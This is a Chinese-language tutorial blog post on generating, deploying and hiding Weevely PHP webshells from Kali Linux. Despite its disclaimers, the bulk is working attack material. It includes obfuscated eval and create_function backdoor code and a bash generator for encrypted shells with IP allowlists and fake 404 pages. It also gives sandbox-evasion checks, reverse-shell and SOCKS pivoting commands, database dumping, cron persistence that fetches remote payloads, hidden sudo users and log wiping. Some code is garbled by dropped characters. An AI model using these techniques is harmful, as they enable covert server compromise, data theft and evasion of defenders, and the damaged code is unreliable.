Kali Linux下Weevely WebShell免杀实战：从生成部署到绕过安全检测

1. 项目概述WebShell攻防实战的“瑞士军刀”在渗透测试和红队评估的实战中获取一个稳定、隐蔽且功能强大的WebShell是后续横向移动和数据获取的关键一步。然而随着安全防护能力的提升尤其是各类WAFWeb应用防火墙和主机安全软件如D盾、安全狗等的普及传统的“一句话木马”几乎在部署的瞬间就会被识别和清除。这就催生了对WebShell免杀技术的持续需求。今天要深入探讨的就是在Kali Linux环境下利用Weevely这款被誉为“隐身WebShell管理工具”的神器完成从生成、部署到实现免杀绕过安全检测的完整实战流程。Weevely不仅仅是一个生成器它更是一个完整的后渗透框架。其核心价值在于它生成的WebShell载荷Agent本身采用了自定义的加密和混淆技术通信过程也模拟正常流量这使得它在对抗静态特征码检测和简单的动态行为分析时具有天然的优势。但请注意任何安全工具的使用都必须在合法授权的范围内进行本文所有内容仅用于安全研究、教学和授权测试旨在帮助安全从业者理解攻击手法以更好地构建防御。简单来说这个实战项目能帮你解决几个核心问题如何快速生成一个难以被发现的WebShell后门如何将这个后门部署到目标服务器上以及当面对日益智能的安全检测时如何通过进一步的自定义和技巧提升WebShell的存活率无论你是刚开始接触渗透测试的新手还是想深化WebShell攻防理解的安全工程师这套从生成到免杀的完整流程都值得你亲手实践一遍。2. 核心工具与环境准备2.1 Weevely工具深度解析Weevely被设计成“隐身”的这体现在其架构的多个层面。首先它的客户端在Kali上运行和服务器端即WebShell Agent之间的通信并非简单的eval($_POST[‘cmd’])。它使用了一个轻量级的RPC远程过程调用机制所有指令都被序列化、加密后再传输服务端执行结果后同样加密返回。这种通信模式使得流量特征与普通的Web后门有显著区别更接近于正常的API调用数据。其次Weevely内置了多种“后端”Backend也就是WebShell的代码模板。这些后端使用不同的PHP语法特性和编码方式以绕过基于正则表达式的简单黑名单匹配。例如有的后端利用create_function有的使用preg_replace的/e修饰符在PHP 5.x时代还有的利用assert或call_user_func等动态函数调用。这种多样性为绕过特定规则提供了可能。最后Weevely本身是一个功能丰富的管理终端。连接WebShell后它提供了一个类似Metasploit的交互式shell你可以直接执行系统命令、进行文件管理、数据库操作、甚至发起端口扫描和代理转发。这大大提升了后渗透阶段的效率。2.2 Kali Linux环境配置要点虽然Kali Linux默认可能已经安装了Weevely但为了获得最佳体验和最新功能我们建议进行更新或确认安装。打开终端执行以下命令# 更新软件包列表 sudo apt update # 安装或更新Weevely sudo apt install weevely -y安装完成后可以通过weevely -h查看帮助信息确认安装成功。这里有一个关键的实操心得建议在Kali的虚拟机快照中操作。因为后续我们可能会生成大量测试用的WebShell文件并尝试访问它们。在一个隔离的虚拟环境例如将Kali和一台安装了安全软件及Web服务的Windows虚拟机组成内网中进行可以避免意外污染生产环境也方便随时回滚。除了Weevely本身我们还需要一个“靶机”环境。这里我推荐使用OWASP Broken Web Applications (OWASP BWA)虚拟机或者自己搭建一个包含常见漏洞如文件上传漏洞的测试网站例如DVWA、bWAPP。目标是要有一个能够上传或写入PHP文件的地方。注意绝对不要在未经授权的任何网站上尝试上传或植入WebShell。所有操作应在你自己完全控制的实验环境中进行。3. Weevely基础使用生成与连接3.1 生成你的第一个WebShellWeevely生成WebShell的命令格式非常直观。其基本语法是weevely generate 密码 输出文件路径假设我们想生成一个密码为MySecretPass123的WebShell并保存为shell.php命令如下weevely generate MySecretPass123 /tmp/shell.php执行后Weevely会随机选择一个内置的后端模板生成一个加密的PHP文件。你可以用cat命令查看一下这个文件的内容cat /tmp/shell.php你会发现它并不是一段清晰的PHP代码而是一大段看似混乱的字符串可能包含base64_decode、gzinflate、str_rot13等多种编码嵌套核心的执行逻辑被很好地隐藏了起来。这就是它对抗静态扫描的第一道防线。参数进阶指定后端模板如果你对生成的后端不满意或者想针对特定环境尝试可以使用-backend参数指定模板。首先列出所有可用的后端weevely generate -l这会输出一个列表例如crypto、obfusc1、obfusc3等。然后你可以指定生成weevely generate MySecretPass123 /tmp/shell_obf3.php -backend obfusc3不同的后端在代码风格和绕过能力上略有差异在某些特定配置的服务器上可能某个后端无法正常执行多尝试几种是必要的。3.2 连接与管理WebShell生成WebShell后下一步就是将其上传到目标服务器。这通常通过利用文件上传漏洞、SQL注入写文件、或者某些CMS的模板编辑功能来实现。假设我们已成功将shell.php上传至http://target.com/uploads/shell.php。在Kali上使用以下命令进行连接weevely http://target.com/uploads/shell.php MySecretPass123如果连接成功终端提示符会变成一个绿色的weevely这表示你已经进入了Weevely的交互式会话。在这个会话中你可以使用:开头的内置命令。常用内置命令速查:help查看所有可用命令。:system_info获取目标系统的基本信息如PHP版本、操作系统、Web服务器等。:shell启动一个半交互式的系统shell。在这里你可以执行ls、pwd、whoami等命令。:file_upload/:file_download上传或下载文件。:sql_console如果目标服务器支持打开一个SQL命令行界面。:backdoor_reversetcp尝试在目标上生成一个反向TCP连接的后门。:audit_phpconf审计PHP配置寻找不安全的设置。例如进入shell后查看当前目录weevely :shell bash-4.2$ pwd /var/www/html/uploads bash-4.2$ exit weevely实操心得连接失败排查连接失败最常见的原因有几个一是WebShell文件没有被正确访问返回404或403二是WebShell代码在目标服务器上执行时报错可能PHP版本或配置不支持所选后端三是密码错误。Weevely的连接过程包含了密码验证错误密码会导致连接失败。建议的排查步骤先用浏览器或curl直接访问WebShell的URL确认文件存在且服务器返回空白页或正常页面而不是PHP错误。如果报错将错误信息复制下来分析。尝试换一个后端模板重新生成WebShell。crypto后端通常兼容性较好。确认使用的密码与生成时完全一致注意大小写。4. 免杀技术深度剖析与实践即使Weevely本身具备一定的混淆能力在面对专业的、更新频繁的终端安全检测软件如D盾、云锁或WAF时仍可能被识别。因此我们需要进行手动或半自动的免杀处理。免杀的核心思路无外乎两种静态免杀绕过文件扫描和动态免杀绕过行为检测。4.1 静态免杀代码混淆与变形静态免杀主要对抗的是基于特征码Signature和语义分析的扫描器。Weevely生成的代码已经过混淆但它的模式可能被收录。我们需要进一步“加工”。方法一自定义加密与编码我们可以不完全依赖Weevely的生成而是以其代码为“载荷”外面再包裹一层自己的加密解密逻辑。一个简单的思路是使用异或XOR加密。假设Weevely生成的原始代码保存在变量$payload中。我们可以编写一个生成器?php // xor_encrypt.php - 加密生成器 $key ‘RandomKey_’ . mt_rand(1000,9999); // 随机密钥 $payload file_get_contents(‘/tmp/original_shell.php’); // 读取原始weevely shell $encryptedPayload ”; for($i0; $istrlen($payload); $i) { $encryptedPayload . $payload[$i] ^ $key[$i % strlen($key)]; } $encodedPayload base64_encode($encryptedPayload); $finalShell ‘?php $k “‘ . $key . ‘“; $e “‘ . $encodedPayload . ‘“; $d base64_decode($e); $p “”; for($i0; $istrlen($d); $i) { $p . $d[$i] ^ $k[$i % strlen($k)]; } eval($p); ?’; file_put_contents(‘/tmp/final_shell_xor.php’, $finalShell); echo “生成完成: /tmp/final_shell_xor.php\n”; ?在Kali上运行这个PHP脚本它会生成一个新的、经过异或和Base64编码的WebShell。由于密钥是随机的每次生成的代码特征都不同极大增加了特征码识别的难度。方法二字符串分割与重组将关键函数名、变量名和字符串进行分割然后在运行时拼接。例如将eval拆成”ev”.”al”将$_POST拆成${“_PO”.”ST”}。?php // 原始eval($_POST[‘cmd’]); // 变形后 $func “ev”.”al”; $var “_PO”.”ST”; $cmd ${$var}[“cm”.”d”]; $func($cmd); ?对于Weevely的载荷我们可以写一个脚本自动将其中的关键字符进行随机分割和拼接。方法三利用冷门PHP函数和语法扫描器往往关注eval,assert,system,shell_exec等常见危险函数。我们可以尝试使用一些不太常见但能达到同样效果的函数或者利用PHP的语言特性。create_function虽然已废弃但在某些环境仍可用。preg_replace的/e修饰符PHP5.5。array_map配合assert。通过call_user_func或call_user_func_array动态调用函数。利用反引号执行操作符。使用include或require包含一个以php://input流作为内容的“文件”。例如一个非常隐蔽的写法?php $code file_get_contents(‘php://input’); $f create_function(”, $code); $f(); ?客户端只需要POST PHP代码即可执行。这种写法特征极不明显。4.2 动态免杀行为隐藏与流量伪装动态免杀关注的是WebShell运行时的行为如何避免触发主机安全软件的“行为监控”或WAF的“异常请求”规则。1. 流量伪装模拟正常API请求Weevely的通信本身已加密但我们可以更进一步让请求看起来像一个正常的Ajax调用或表单提交。修改User-Agent在生成WebShell时Weevely客户端的请求头是固定的。虽然Weevely本身可能不支持直接修改但我们可以通过代理如Burp Suite中转流量在Burp中修改请求头使其看起来像来自XMLHttpRequest或某个浏览器的正常请求。参数名伪装Weevely使用固定的参数名如c传递加密数据。我们无法直接修改但可以在WebShell外层加一个包装器。让包装器接收像‘data’、‘json’这样看似正常的参数然后在内部解密并转发给真正的Weevely载荷。使用HTTPS如果目标站点启用了HTTPS务必使用https://进行连接。加密信道可以防止流量在传输过程中被网络层的IDS/IPS检测。2. 执行环境伪装与限制检查来源IP在WebShell代码开头加入IP白名单检查只允许来自你控制服务器的IP访问。这能防止其他人意外发现或利用你的后门。$allowed_ips [‘192.168.1.100’, ‘10.0.0.50’]; if(!in_array($_SERVER[‘REMOTE_ADDR’], $allowed_ips)) { header(‘HTTP/1.1 404 Not Found’); exit; } // … 原来的weevely代码 …模拟正常页面让WebShell在被直接浏览器访问时返回一个正常的错误页面或空白页甚至是一个伪造的phpinfo()页面的一部分只有在收到特定正确参数时才执行后门逻辑。避免敏感操作在初期连接和探测时尽量避免立即执行whoami、systeminfo、net user等极其敏感的命令。可以先执行php -v、ls -la等看似平常的命令来测试环境。4.3 实战整合构建免杀WebShell生成脚本将上述思路整合我们可以创建一个更强大的生成脚本。这个脚本会调用weevely generate生成原始载荷。对原始载荷进行随机异或加密。将加密后的载荷嵌入到一个包含IP白名单、随机函数名拼接、以及模拟正常页面响应的模板中。输出最终的WebShell文件。由于代码较长这里概述关键步骤的bash脚本思路#!/bin/bash # auto_antivirus_webshell.sh PASSWORD$1 OUTPUT_FILE$2 BACKEND${3:-“crypto”} # 1. 生成原始weevely shell TEMP_SHELL“/tmp/weevely_orig_$(date %s).php” weevely generate “$PASSWORD” “$TEMP_SHELL” -backend “$BACKEND” # 2. 读取并加密 ORIGINAL_CODE$(cat “$TEMP_SHELL”) KEY“StaticKey_$(openssl rand -hex 8)” # 使用更随机的密钥 ENCRYPTED_CODE“” for (( i0; i${#ORIGINAL_CODE}; i )); do CHAR${ORIGINAL_CODE:$i:1} KEY_CHAR${KEY:$((i % ${#KEY})):1} # 使用printf进行ASCII码异或操作 ENCRYPTED_CODE“$(printf “\\x$(printf ‘%x’ “$(( $(printf ‘%d’ “‘$CHAR”) ^ $(printf ‘%d’ “‘$KEY_CHAR”) ))”)”)” done BASE64_CODE$(echo -n “$ENCRYPTED_CODE” | base64 -w 0) # 3. 创建最终模板 cat “$OUTPUT_FILE” EOF ?php // 模拟一个简单的页面头部 if (!isset(\$_GET[‘api’])) { echo ‘htmlbodyh1404 Page Not Found/h1/body/html’; exit; } // IP白名单检查 (请替换为你的IP) \$allowed_ips [‘192.168.56.101’]; if (!in_array(\$_SERVER[‘REMOTE_ADDR’], \$allowed_ips)) { header(‘HTTP/1.1 403 Forbidden’); exit(‘Access Denied’); } // 动态函数调用规避扫描 \$func_part1 “cr”; \$func_part2 “eate_functi”; \$func_part3 “on”; \$func_name \$func_part1 . \$func_part2 . \$func_part3; // 解密并执行核心载荷 \$key “$KEY”; \$data base64_decode(“$BASE64_CODE”); \$payload “”; for (\$i 0; \$i strlen(\$data); \$i) { \$payload . \$data[\$i] ^ \$key[\$i % strlen(\$key)]; } // 使用动态创建的函数执行 \$exec_func \$func_name(”, \$payload); \$exec_func(); ? EOF echo “[] 免杀WebShell已生成: $OUTPUT_FILE” echo “[] 连接密码: $PASSWORD” echo “[] 密钥已硬编码在文件中请妥善保管。” rm -f “$TEMP_SHELL”重要警告此脚本仅为教学示例生成的WebShell的密钥是硬编码的且IP白名单需要手动修改。在实际、合法的渗透测试中需要根据目标环境进行更细致的调整和测试。绝对不要使用此脚本进行非法攻击。5. 绕过安全检测的实战对抗分析了解了免杀技术后我们需要站在防御者的角度理解安全产品是如何检测WebShell的从而进行更有针对性的绕过。5.1 常见安全检测手段原理静态特征码检测这是最基础的方式。安全软件维护一个庞大的WebShell特征库特定字符串、函数组合、加密模式等对服务器上的文件进行扫描匹配。Weevely的默认载荷可能已被部分特征库收录。语义分析与语法树检测更高级的检测方式。引擎并不直接匹配字符串而是将PHP代码解析成抽象语法树AST分析其结构。例如检测是否存在“接收外部输入-直接执行”的危险模式。简单的字符串混淆对此无效但复杂的加密和动态解码可以增加分析难度。动态行为检测沙箱在受控环境沙箱中运行可疑文件监控其行为如是否尝试执行系统命令、访问敏感文件、进行网络连接等。Weevely连接后的shell命令很容易触发此类警报。流量分析检测WAF/IDS分析HTTP请求和响应。异常的POST参数名、过长的参数值、响应内容与请求不匹配如一个图片请求返回了文本形式的ls命令结果、固定的通信指纹等都可能被识别。5.2 针对性的绕过策略根据上述检测原理我们可以制定策略对抗静态扫描采用多态变形。每次生成的WebShell在代码形态上都有差异如随机变量名、随机密钥、随机编码层数、插入无害注释和垃圾代码。上文的自定义加密脚本就是一个起点。对抗语义分析逻辑分离与延迟执行。不将“解密”和“执行”放在同一段代码中。例如WebShell只负责将接收的加密代码保存到另一个临时文件中然后通过包含include或计划任务crontab在稍后执行。或者将核心功能拆分成多个看似无害的函数只在特定条件满足时才组合调用。对抗动态沙箱环境感知与沙箱逃逸。在代码开始时检测运行环境检查运行时间沙箱可能只运行几秒。检查内存和CPU数量沙箱环境可能资源受限。检查是否有调试器附加如xdebug。检查特定的沙箱进程或文件是否存在。 如果发现疑似沙箱环境则执行无害操作或直接退出。// 简单的沙箱感知示例 \$startTime microtime(true); usleep(500000); // 睡眠0.5秒 \$endTime microtime(true); if ((\$endTime - \$startTime) 0.5) { // 实际耗时远小于睡眠时间可能被沙箱加速了 exit(‘Normal Exit’); } if (function_exists(‘xdebug_break’)) { exit(‘Debugger Detected’); }对抗流量分析模拟正常应用逻辑。这是最难的也是Weevely设计之初就考虑到的。我们可以将通信数据封装成JSON格式并添加看似合理的字段。使用目标网站正常的API端点作为通信路径而不是一个孤立的shell.php。在通信中模拟完整的HTTP会话包含Cookie、Referer等。对传输的加密数据再进行一次Base64编码使其看起来像普通的文本数据。6. 高级功能与后渗透利用成功连接一个稳定的WebShell后Weevely提供了丰富的模块进行后渗透测试。这里介绍几个关键模块的实战用法。6.1 文件系统操作与提权探测:file模块提供了强大的文件管理功能比简单的:shell下的ls、cp更强大。weevely :file_list /var/www/html可以递归列出目录并显示权限、所有者等信息。寻找可写目录是关键例如/tmp、/var/tmp或者Web目录下的上传文件夹。:file_upload和:file_download是传输文件的利器。例如上传一个本地提权漏洞利用脚本weevely :file_upload /usr/share/exploitdb/exploits/linux/local/12345.c /tmp/exp.c然后在:shell中编译并执行它。同时:file_edit可以直接在线编辑服务器上的配置文件比如修改/etc/passwd或添加SSH密钥需要足够权限。提权信息收集weevely :audit_suid这个命令会搜索系统中设置了SUID位的可执行文件这些是潜在的提权入口点如find、vim、bash等。weevely :system_info详细列出系统内核版本、发行版、已安装的软件包。结合Kali上的searchsploit可以快速查找对应的本地提权漏洞。6.2 网络侦察与代理搭建:net_scan模块可以在目标服务器上进行端口扫描这对于内网横向移动至关重要。由于扫描流量发自内网机器可以绕过边界防火墙的限制。weevely :net_scan 192.168.1.0/24 -p 22,80,443,3306这个命令会扫描192.168.1.0/24网段常见端口发现内网存活主机和服务。更强大的是代理功能。:backdoor_tcp可以创建一个简单的TCP反向shell。而:proxy命令可以开启一个SOCKS代理将你的攻击机直接接入目标内网。weevely :proxy 1080 [*] Starting proxy on port 1080在Kali上配置你的浏览器或proxychains使用127.0.0.1:1080的SOCKS5代理之后你的网络请求就会通过WebShell所在的服务器转发从而实现“跳板”攻击内网其他机器。6.3 数据库交互与信息窃取如果目标网站使用数据库:sql_console模块可以让你直接与数据库交互。weevely :sql_console [?] Database type (mysql, sqlite, postgresql, mssql): mysql [?] Connection string (hostlocalhost;dbnametest;userroot;pass): hostlocalhost;dbnamecmsdb;userroot;passpassword mysql show tables; mysql select * from users;你可以直接导出用户表、密码哈希可能需要进行破解或者插入新的管理员账户。这对于获取网站控制权至关重要。6.4 持久化与痕迹清理在授权测试的最后阶段为了证明漏洞的严重性可能需要建立持久化后门但同时也要清理痕迹。持久化Cron Jobs通过:file_edit在/etc/cron.d/或用户crontab中添加定时任务定期从远程服务器下载并执行载荷。Web Shell 多样化在多个目录、以多种名称和形式部署WebShell增加清理难度。添加系统用户在拥有root权限的情况下直接添加一个具有sudo权限的隐藏用户。痕迹清理清除日志使用:shell执行echo “” /var/log/apache2/access.log等命令清除Web访问日志。但更隐蔽的做法是只删除与自己IP相关的日志行。sed -i ‘/192.168.56.101/d’ /var/log/apache2/access.log修改文件时间戳将你上传或修改的WebShell文件时间戳改回与周围文件一致。touch -r /var/www/html/index.php /var/www/html/uploads/shell.php清除命令历史在获得shell后立即执行history -c或清空~/.bash_history文件。重要伦理提示在真实的授权渗透测试中痕迹清理必须遵循测试协议。通常测试方会要求保留所有攻击痕迹以供审计。只有在获得明确授权的情况下才可进行清理操作。7. 常见问题排查与实战心得在实际操作中你肯定会遇到各种各样的问题。这里汇总了一些常见坑点及解决方案。7.1 连接与执行类问题问题1连接WebShell时超时或返回HTTP错误如500可能原因目标服务器不支持WebShell使用的PHP函数如create_function在PHP 7.2已被移除或者代码中存在语法错误。解决方案使用:system_info检查目标PHP版本。如果版本较高避免使用已废弃的函数。尝试使用不同的-backend生成WebShellcrypto后端通常兼容性最好。在浏览器中直接访问WebShell URL查看具体的PHP错误信息。可能需要临时在目标服务器上开启display_errors如果可能的话来辅助调试。问题2连接成功但执行任何命令都无输出或报错可能原因目标服务器的disable_functions配置禁用了关键函数如system,shell_exec,passthru等。解决方案在Weevely会话中执行:system_info查看disable_functions列表。尝试使用未被禁用的函数。例如如果proc_open或popen未被禁用Weevely可能会自动降级使用它们。尝试使用纯PHP代码实现功能比如用scandir代替ls用file_get_contents代替cat。问题3WebShell被安全软件瞬间删除可能原因静态特征被匹配或文件上传后立即触发了动态扫描。解决方案加强免杀处理使用上文介绍的自定义加密和混淆。尝试将WebShell代码写入到已有合法文件的末尾追加写入或者写入到.htaccess、user.ini等配置文件中如果允许这些文件有时不会被重点扫描。使用“图片马”方式将WebShell代码嵌入到图片的EXIF信息或文件末尾然后利用文件包含漏洞LFI或php://filter等伪协议来执行。7.2 免杀与规避类问题问题4自定义的免杀WebShell可以上传但连接时提示密码错误可能原因在加密、编码或模板包装过程中意外修改了Weevely载荷的核心结构或密码验证部分。解决方案简化测试。先使用Weevely原生生成并成功连接。然后在你的免杀脚本中只做一层最简单的Base64包装进行测试。成功后再逐步增加异或加密、IP检查等复杂逻辑。使用diff工具对比原始载荷和你的脚本处理后的载荷确保关键部分未被破坏。问题5流量被WAF拦截可能原因WAF检测到异常的POST数据模式、固定的URL路径或缺乏正常的HTTP头部。解决方案使用HTTPS。修改请求头通过Burp Suite等代理工具在Weevely客户端发出的请求中添加或修改User-Agent、Accept、Referer等头部使其与目标网站的正常浏览器流量一致。路径随机化不要使用固定的文件名如shell.php。使用每次测试都变化的名称或者利用目标网站已有的、可参数化的文件如image.php?id…通过参数传递加密指令。7.3 实战心得与进阶技巧“低慢小”原则在高度敏感的环境中动作要慢命令要轻。避免一次性执行大量扫描或下载大文件。将任务拆分成多个小步骤间隔执行。善用代理链在通过:proxy搭建的SOCKS代理进行内网渗透时结合proxychains工具可以让nmap、sqlmap等几乎所有命令行工具都通过代理工作。proxychains nmap -sT -Pn 10.10.10.100 # 通过代理进行TCP扫描备份与冗余一旦获得一个稳定的WebShell立即将其代码备份到本地并在服务器的其他几个隐蔽目录如/tmp/.cache/、/dev/shm/或不同名称的文件中多做几个副本。防止因文件被管理员发现而丢失访问权限。关注日志在Weevely的:shell中时不时检查一下Web日志/var/log/apache2/access.log和安全日志/var/log/auth.log看看自己的活动是否留下了过于明显的痕迹。理解Weevely的本质Weevely的Agent本质上是一个PHP的RPC服务器。理解这一点后你甚至可以自己编写更复杂的客户端用Python等语言实现定制化的通信协议和功能从而进一步绕过检测。WebShell的攻防是一场永无止境的猫鼠游戏。Weevely提供了一个高起点但真正的免杀和持久化需要你根据目标环境的具体情况灵活组合各种技术并不断迭代你的载荷。记住所有技术都应在法律和道德允许的范围内使用用于提升系统安全而非破坏它。保持学习保持敬畏。